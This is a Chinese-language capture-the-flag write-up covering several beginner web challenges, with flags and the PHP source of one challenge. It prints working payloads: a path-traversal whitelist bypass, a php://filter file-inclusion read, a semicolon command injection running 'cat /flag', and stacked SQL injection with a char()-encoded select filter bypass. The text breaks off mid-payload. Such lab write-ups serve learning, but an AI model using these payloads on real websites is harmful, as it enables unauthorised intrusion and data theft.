[极客大挑战 2019]EasySQL
试了个万能密码就能上去了
flag: flag{8e685472-02e4-440a-b04e-b0d9b6d9c27f}
[HCTF 2018]WarmUp
看源码有个source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
还有个hint.php
在include包含路径中,可以随便输入一个字符串,然后再输入一个…/就可以抵消,否则就会报错不存在此路径,这里多个…/就是不断的返回上一级目录查找ffffllllaaaagggg,最后返回flag。
payload
?file=source.php?/../../../../ffffllllaaaagggg
flag: flag{b807036f-4428-498f-bf2b-5991650c54f4}
[极客大挑战 2019]Havefun
看源码有一段这个
cat传参
flag: ==
flag{4f7dee31-4681-471d-8a7a-67f9a352c9a0} ==
[ACTF2020 新生赛]Include
过滤了input,但是filter没有过滤
尝试使用filter读取flag.php
?file=php://filter/read=convert.base64-encode/resource=flag.php
解码得到flag
flag: flag{65c1d0ba-f4a5-40d8-bccf-b5133958500f}
[ACTF2020 新生赛]Exec
exec可以执行命令,加个分号(;) 就行
payload
1.1.1.1;cat /flag
flag: flag{b6ecdddd-175a-4384-8822-505e74818172}
[强网杯 2019]随便注
试了下,发现过滤了select
?inject=3 union select 1,database()
可以使用堆叠注入,可以参考这个mysql常用命令
?inject=-1';show databases; -- '
爆出数据库
看当前数据库的数据表,这个表有点臭。。
?inject=-1';show tables; #
显示表的结构,看到有个flag
?inject=-1';DESCRIBE `1919810931114514`; #
嫖了下大佬的wp,可以用预处理语句绕过过滤
预处理语句使用方式
SET @sql = variable; //设置变量
PREPARE yuchuli from '[my sql sequece]'; //预定义SQL语句
EXECUTE yuchuli; //执行预定义SQL语句sqla
将select * from 1919810931114514 定义为yuchuli
PREPARE yuchuli from 'select * from `1919810931114514`';
EXECUTE yuchuli;
select是被过滤的,所以用concat进行编码绕过
SET @sql = concat(char(115,101,108,101,99,116